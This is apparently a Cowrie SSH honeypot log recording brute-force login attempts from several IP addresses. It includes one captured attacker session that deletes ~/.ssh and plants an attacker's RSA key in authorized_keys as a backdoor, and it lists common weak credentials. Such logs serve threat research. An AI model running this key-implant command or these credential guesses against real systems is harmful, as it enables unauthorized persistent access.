{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:20.523176Z","src_ip":"210.79.191.199","session":"9ea74e80441e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":48398,"dst_ip":"10.17.0.5","dst_port":22,"session":"986cb0a618df","protocol":"ssh","message":"New connection: 165.154.6.86:48398 (10.17.0.5:22) [session: 986cb0a618df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:45.694981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:45.698567Z","src_ip":"165.154.6.86","session":"986cb0a618df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:45.916336Z","src_ip":"165.154.6.86","session":"986cb0a618df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":45670,"dst_ip":"10.17.0.5","dst_port":22,"session":"05f7d9e5e867","protocol":"ssh","message":"New connection: 207.180.205.155:45670 (10.17.0.5:22) [session: 05f7d9e5e867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:46.742053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:46.750237Z","src_ip":"207.180.205.155","session":"05f7d9e5e867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"password","message":"login attempt [term2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:46.821650Z","src_ip":"165.154.6.86","session":"986cb0a618df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:46.848192Z","src_ip":"207.180.205.155","session":"05f7d9e5e867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1234","message":"login attempt [mysql/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:47.321124Z","src_ip":"207.180.205.155","session":"05f7d9e5e867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:48.041906Z","src_ip":"165.154.6.86","session":"986cb0a618df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:18:48.422377Z","src_ip":"207.180.205.155","session":"05f7d9e5e867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":56940,"dst_ip":"10.17.0.5","dst_port":22,"session":"9aa668642514","protocol":"ssh","message":"New connection: 210.79.191.18:56940 (10.17.0.5:22) [session: 9aa668642514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:23.123543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:23.127315Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:23.372897Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p4ssw0rd","message":"login attempt [root/p4ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:24.391423Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:24.929292Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:24.932365Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:24.935917Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:25.185452Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:25.701791Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:25.704073Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:25.952710Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:25.956212Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":56946,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b949afbb218","protocol":"ssh","message":"New connection: 210.79.191.18:56946 (10.17.0.5:22) [session: 4b949afbb218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:26.210108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:26.213702Z","src_ip":"210.79.191.18","session":"4b949afbb218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:26.468818Z","src_ip":"210.79.191.18","session":"4b949afbb218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:27.522679Z","src_ip":"210.79.191.18","session":"4b949afbb218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:28.779877Z","src_ip":"210.79.191.18","session":"4b949afbb218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":56962,"dst_ip":"10.17.0.5","dst_port":22,"session":"86295b7f329f","protocol":"ssh","message":"New connection: 210.79.191.18:56962 (10.17.0.5:22) [session: 86295b7f329f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:29.010673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:29.014440Z","src_ip":"210.79.191.18","session":"86295b7f329f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:29.257399Z","src_ip":"210.79.191.18","session":"86295b7f329f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:30.266991Z","src_ip":"210.79.191.18","session":"86295b7f329f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:30.513427Z","src_ip":"210.79.191.18","session":"86295b7f329f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:30.518160Z","src_ip":"210.79.191.18","session":"9aa668642514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":48450,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee70cd64bdba","protocol":"ssh","message":"New connection: 64.188.83.153:48450 (10.17.0.5:22) [session: ee70cd64bdba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:38.794128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:38.798287Z","src_ip":"64.188.83.153","session":"ee70cd64bdba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:38.888320Z","src_ip":"64.188.83.153","session":"ee70cd64bdba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evil","password":"evil","message":"login attempt [evil/evil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:39.265461Z","src_ip":"64.188.83.153","session":"ee70cd64bdba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:19:40.354028Z","src_ip":"64.188.83.153","session":"ee70cd64bdba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":22486,"dst_ip":"159.203.135.109","dst_port":22,"session":"836b265cf77a","protocol":"ssh","message":"New connection: 211.106.133.202:22486 (159.203.135.109:22) [session: 836b265cf77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:10.708583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:10.713299Z","src_ip":"211.106.133.202","session":"836b265cf77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:10.922133Z","src_ip":"211.106.133.202","session":"836b265cf77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michelle","password":"michelle@123","message":"login attempt [michelle/michelle@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:11.776200Z","src_ip":"211.106.133.202","session":"836b265cf77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:12.986262Z","src_ip":"211.106.133.202","session":"836b265cf77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":36306,"dst_ip":"10.17.0.5","dst_port":22,"session":"73e84f2561a9","protocol":"ssh","message":"New connection: 210.79.191.199:36306 (10.17.0.5:22) [session: 73e84f2561a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:15.048762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:20:15.053982Z","src_ip":"210.79.191.199","session":"73e84f2561a9","protocol":"ssh"}
